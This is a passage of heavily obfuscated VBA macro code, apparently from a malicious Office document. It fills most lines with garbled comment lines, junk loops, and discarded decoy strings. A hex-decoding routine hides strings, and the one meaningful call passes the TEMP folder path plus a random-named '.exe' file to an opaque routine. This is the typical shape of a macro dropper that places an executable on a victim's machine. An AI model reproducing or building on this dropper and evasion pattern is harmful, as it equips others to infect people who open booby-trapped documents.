'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
kwAVASpE = RTrim(wwkSuUSZ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next clzDANKj
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim xNuYrKlK, ghVkWBUx, MsTSimvf As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
xNuYrKlK = HexToString("20202020202020202020204E484D4A4349202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ghVkWBUx = LTrim(xNuYrKlK)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
MsTSimvf = RTrim(ghVkWBUx)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ZAMdAYQS = LTrim(CYdKgqMW)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim IwWaiLND As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For IwWaiLND = 0 To 9
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim shVgTyWv, FAsogERK, ejkDmgHn As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
shVgTyWv = HexToString("2020202020202020202020454145454759202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
FAsogERK = LTrim(shVgTyWv)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ejkDmgHn = RTrim(FAsogERK)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next IwWaiLND
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim HhYDQTGo, zwlHflLl, fAtLGuXR As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HhYDQTGo = HexToString("20202020202020202020204E5249515851202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
zwlHflLl = LTrim(HhYDQTGo)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
fAtLGuXR = RTrim(zwlHflLl)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
mKQVlDah = RTrim(ZAMdAYQS)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim MXGfFVXh As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For MXGfFVXh = 0 To 2
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim pPIhWNUM, yPKAhttW, aQeDPoZX As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
pPIhWNUM = HexToString("202020202020202020202051594C44474D202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
yPKAhttW = LTrim(pPIhWNUM)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
aQeDPoZX = RTrim(yPKAhttW)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next MXGfFVXh
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim SXknxwmz, RdosdZPT, piHYbCAx As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
SXknxwmz = HexToString("2020202020202020202020494742445958202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
RdosdZPT = LTrim(SXknxwmz)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
piHYbCAx = RTrim(RdosdZPT)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
    XBFAPGNWGLM dygigGUIIU, Environ(HexToString("54454D50")) & HexToString("5C585A4C4E58544D534A55582E657865")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
End Sub
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Public Function HexToString(ByVal wlFwnAKuth As String) As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim uQdrZqcgGusmEB As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim tSYUgjyTUeojMcv As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim UPEktusxicjMa As Long
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For UPEktusxicjMa = 1 To Len(wlFwnAKuth) Step 2
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim aJoPSqIO, hUgfKXMk, KLEiAlES As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim HVJSphPY As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For HVJSphPY = 0 To 7
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim zLlcoBJH, UFNKwlII, dOIdIGnb As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
zLlcoBJH = "           OEWRQK               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
UFNKwlII = LTrim(zLlcoBJH)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
dOIdIGnb = RTrim(UFNKwlII)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next HVJSphPY
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim vIRjGOFd, aMKqvuxY, hOVFRKIg As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
vIRjGOFd = "           OPLRMW               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
aMKqvuxY = LTrim(vIRjGOFd)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
hOVFRKIg = RTrim(aMKqvuxY)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
aJoPSqIO = "           HRRYEG               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim GemnnllM As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For GemnnllM = 0 To 3
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim wmEehwUQ, UnhyKpPX, TsLKHsjm As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
wmEehwUQ = "           OXEQXD               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
UnhyKpPX = LTrim(wmEehwUQ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
TsLKHsjm = RTrim(UnhyKpPX)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next GemnnllM
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim CRZMxbXP, KTSyJRlQ, FYXksIJD As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
CRZMxbXP = "           VLSMFF               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
KTSyJRlQ = LTrim(CRZMxbXP)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
FYXksIJD = RTrim(KTSyJRlQ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
hUgfKXMk = LTrim(aJoPSqIO)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim QAfzAAfs As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For QAfzAAfs = 0 To 6
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim mfjZcHQR, BpVCQqZw, RtTkVTmf As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
mfjZcHQR = "           KDMYKD               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
BpVCQqZw = LTrim(mfjZcHQR)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
RtTkVTmf = RTrim(BpVCQqZw)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next QAfzAAfs
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim EooGpICB, KVglhloU, mpZdBJKa As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
EooGpICB = "           TDRIGA               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
KVglhloU = LTrim(EooGpICB)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
mpZdBJKa = RTrim(KVglhloU)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
KLEiAlES = RTrim(hUgfKXMk)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim hrJFNyRq As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For hrJFNyRq = 0 To 4
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim jaiZOfUY, ZuMTszPJ, GdYIDGFz As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
jaiZOfUY = "           USKCYO               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ZuMTszPJ = LTrim(jaiZOfUY)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
GdYIDGFz = RTrim(ZuMTszPJ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next hrJFNyRq
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim JjTcabsm, DkGOwROx, IkNWGIuc As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
JjTcabsm = "           ZXKJKY               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DkGOwROx = LTrim(JjTcabsm)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
IkNWGIuc = RTrim(DkGOwROx)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
uQdrZqcgGusmEB = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(wlFwnAKuth, UPEktusxicjMa, 2)))
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim ZVmEwSfY, GruYCnkJ, apLObfmz As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim ODgMtkqh As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For ODgMtkqh = 0 To 8
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim tpCavzIh, PtTwQcbi, gNdHBKkB As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
tpCavzIh = "           PQPLLM               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
PtTwQcbi = LTrim(tpCavzIh)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
gNdHBKkB = RTrim(PtTwQcbi)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next ODgMtkqh
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim ugGjFFcl, wtWWMbOz, VjpGEClw As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ugGjFFcl = "           MHWXRR               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
wtWWMbOz = LTrim(ugGjFFcl)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
VjpGEClw = RTrim(wtWWMbOz)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ZVmEwSfY = "           DPVVBW               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim TsiwubrI As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For TsiwubrI = 0 To 1
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim JvcswooH, GoNBlqGg, agSzWBKb As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
JvcswooH = "           MVBGBY               "
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
GoNBlqGg = LTrim(JvcswooH)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
agSzWBKb = RTrim(GoNBlqGg)
